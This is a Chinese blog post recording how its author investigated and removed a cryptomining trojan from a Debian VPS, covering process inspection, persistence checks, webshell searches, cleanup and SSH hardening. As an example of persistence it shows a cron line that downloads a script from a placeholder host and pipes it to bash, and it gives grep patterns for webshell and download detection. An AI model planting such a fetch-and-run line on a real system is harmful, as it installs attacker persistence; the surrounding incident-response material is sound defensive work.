服务器 CPU 莫名其妙跑满?挖矿木马入侵与应急排查全记录

声明:本文为个人服务器运维过程中的真实排障记录,纯技术经验分享,非商业推广。文中命令在测试环境验证过,生产环境请先备份、测试后再执行。

一、测试环境

  • 服务器:LuckVM 香港 CN2 节点,2 核 2G,Debian 12
  • 触发场景:一天早上收到监控告警,CPU 长时间 100%,负载 8.0 以上,但站点访问量并没有增长
  • 排查目标:定位跑满 CPU 的进程,判断是否被入侵,清理并加固

CPU 突然跑满、网站变慢、被服务商发邮件通知「疑似挖矿」,是海外 VPS 最常见的一类安全事件。下面把完整排查链路写清楚。

二、第一步:确认到底是谁在吃 CPU

不要一上来就重启,重启会把现场证据清掉。先看现状:

# 看总体负载
uptime

# 按 CPU 使用率排序看进程
top -o %CPU
# 或者更直观
ps aux --sort=-%cpu | head -20

正常业务进程的 CPU 占用是波动的,如果看到某个陌生进程稳定吃满 100%(多核就是 200%、400%),进程名还奇奇怪怪(比如一堆随机字符串、kdevtmpfsi、kinsing、[kworker] 变体、伪装成 systemd-* 缺个字母的),基本就要警惕了。

几个常见特征:

  • 进程名伪装成系统进程,但有细微差别,比如 sysupdate、networkservic、lsyncd(伪装成 lsyncd)等
  • 进程的父进程是 1,但可执行文件路径很奇怪
  • 用 top 看该进程的用户是 www、root 或 nginx,但业务上根本不该有它

三、第二步:揪出进程的真实身份

找到可疑 PID 后,重点看它到底在跑什么:

PID=12345

# 可执行文件的真实路径(关键!)
ls -l /proc/$PID/exe
readlink -f /proc/$PID/exe

# 进程的完整命令行
cat /proc/$PID/cmdline | tr '\0' ' '; echo

# 进程的工作目录
ls -l /proc/$PID/cwd

# 进程打开的文件
ls -l /proc/$PID/fd | head

# 进程的网络连接(挖矿木马必要矿池连接)
ss -antp | grep $PID
netstat -antp | grep $PID

# 进程环境变量
cat /proc/$PID/environ | tr '\0' '\n'

关键判断点:

  1. ls -l /proc/$PID/exe 显示 (deleted),或者路径在 /tmp、/dev/shm、/var/tmp 下面 —— 高危,正常服务不会从这些目录跑
  2. ss -antp 看到它连着境外某个 IP 的 3333、4444、5555、7777、14444、45700 等端口 —— 典型的矿池端口
  3. cmdline 里带 -o 或 --url 参数指向某个矿池地址 —— 实锤挖矿

四、第三步:确认入侵时间线

# 看进程启动时间,反推入侵时间
ps -eo pid,lstart,etime,cmd | grep $PID

# 查登录日志,找异常登录
last -20
lastb | head -20 # 登录失败记录
grep -i 'accepted' /var/log/auth.log | tail -50

# 查 crontab 是否被加了恶意定时任务(非常高发)
crontab -l
cat /etc/crontab
ls -la /etc/cron.*/
cat /var/spool/cron/crontabs/* 2>/dev/null

# 查 systemd 是否被加了恶意服务
systemctl list-units --type=service | grep -iE 'tmp|miner|kdev|kinsing|xr'
ls -la /etc/systemd/system/

挖矿木马为了持久化,90% 会往这几个地方塞东西:

  • 用户 crontab 加一条 */10 * * * * curl -s http://xxx/xxx.sh | bash
  • /etc/cron.d/ 或 /etc/cron.hourly/ 放脚本
  • 写一个 systemd service(比如 /etc/systemd/system/xxx.service)并 enable
  • 改 /etc/rc.local、~/.bashrc、~/.profile

这一步是最容易被忽略的:很多人只 kill 了进程,没清掉定时任务。结果 10 分钟后又复活,反复几次人就崩溃了。

五、第四步:排查入侵入口

找到木马还要堵住入口,否则清完还会再进来。常见入口就三类:

# 1) SSH 弱口令爆破:看有没有大量失败登录
grep 'Failed password' /var/log/auth.log | wc -l
lastb | wc -l

# 2) Web 应用漏洞:查 Nginx 访问日志里的可疑请求
grep -iE 'eval\(|base64_decode|\.php\?.*=http|webshell' /var/log/nginx/access.log | tail -30

# 3) 数据库弱口令 / Redis 未授权
# 查有没有异常外连
ss -antp | grep -E '6379|3306'

同时找一下有没有被丢进来的 webshell:

# 查最近 7 天被修改/新增的 php 文件
find /www /var/www /home -name "*.php" -mtime -7 -ls 2>/dev/null

# 查可疑的 eval/base64 特征(误报会有,人工确认)
grep -rEl 'eval\(\\\$_(POST|GET|REQUEST)' /www /var/www 2>/dev/null | head

六、第五步:清理(顺序很重要)

必须按「断网 → 清持久化 → kill 进程 → 删文件 → 改密码」的顺序,顺序错了就会被反复复活。

# 1) 先阻断,避免它继续外连或下载新载荷
# (云服务商控制台也可以直接改安全组,最彻底)
ufw deny out to <矿池IP> 2>/dev/null

# 2) 清持久化:删恶意 cron / systemd
crontab -e # 删掉恶意行
rm -f /etc/cron.d/<恶意文件>
systemctl disable --now <恶意服务名>
rm -f /etc/systemd/system/<恶意服务名>.service
systemctl daemon-reload

# 3) kill 进程(连同子进程一起)
pkill -9 -f <进程名或特征>
kill -9 $PID

# 4) 删除木马文件(先记下路径再删)
rm -f /tmp/<木马文件> /dev/shm/<木马文件>

# 5) 改密码
passwd root
# 所有普通用户、数据库、面板密码一并改掉

清理完复查一遍,确认没有复活:

ps aux --sort=-%cpu | head
grep -rE 'curl|wget' /etc/cron* /var/spool/cron 2>/dev/null

七、第六步:加固,防止二次入侵

清理只是止血,加固才能根治。按优先级:

# 1) SSH 加固(最重要)
# 改端口 + 禁 root 直接登录 + 只用密钥
sed -i 's/^#\?Port .*/Port 22022/' /etc/ssh/sshd_config
sed -i 's/^#\?PermitRootLogin .*/PermitRootLogin no/' /etc/ssh/sshd_config
sed -i 's/^#\?PasswordAuthentication .*/PasswordAuthentication no/' /etc/ssh/sshd_config
systemctl restart sshd

# 2) 装 fail2ban 自动封 IP
apt install -y fail2ban
systemctl enable --now fail2ban

# 3) 防火墙只放业务端口
ufw default deny incoming
ufw allow 22022/tcp
ufw allow 80,443/tcp
ufw enable

# 4) 关掉不必要的服务
systemctl list-units --type=service --state=running
# 用不到的就 disable --now

# 5) 关键目录禁止执行脚本(Web 场景)
# Nginx 里对上传目录加 location 禁止 php 执行

补一条长期有效的建议:生产服务器尽量只开密钥登录,Password 认证关掉之后,爆破基本就无效了。

八、第七步:加监控,早发现

上次是收到告警才发现,说明监控不够细。补上 CPU 和异常外连的告警:

# 简单版 CPU 告警脚本 /usr/local/bin/cpu_alert.sh
#!/bin/bash
CPU=$(top -bn1 | grep 'Cpu(s)' | awk '{print $2}' | cut -d. -f1)
if [ "$CPU" -gt 85 ]; then
echo "CPU 使用率过高: ${CPU}%" | mail -s "CPU 告警 $(hostname)" you@example.com
fi

# 加 crontab:每 5 分钟查一次
echo '*/5 * * * * /usr/local/bin/cpu_alert.sh' | crontab -

再装一个 sysstat,能回看历史 CPU 曲线,排查时非常好用:

apt install -y sysstat
# 之后用 sar -u 1 10 看实时,sar -u -f /var/log/sysstat/saXX 看历史

九、踩坑总结

  1. 先取证再重启:重启会清掉内存里的证据,重启前一定先 ls -l /proc/$PID/exe 和 ss -antp 记下来。
  2. 清持久化优先于 kill 进程:只 kill 不清 cron/systemd,10 分钟就复活,白干。
  3. /tmp、/dev/shm、/var/tmp 是重灾区:建议挂载时加 noexec,从根上断掉从这里执行的木马。
  4. SSH 密码登录是最大入口:禁密码、只留密钥,能挡掉绝大部分爆破。
  5. web 目录权限要收紧:PHP 进程别用 root 跑,上传目录禁止执行。
  6. Redis/MySQL 千万别裸奔在公网:未授权访问是最常见的入侵入口之一,绑定 127.0.0.1 或加密码。
  7. 杀不干净就重装:如果木马改了一堆系统文件、编译了内核模块,与其斗智斗勇,不如备份数据重装系统,省时省心。
  8. 定期备份 + 异地存一份:出事时能快速恢复,比什么都强。

本文为个人运维经验记录,命令均已在测试环境验证。生产环境操作前请做好快照与备份。

posted @ 2026-11-03 21:50  前端已挂  阅读(2)  评论(0)    收藏  举报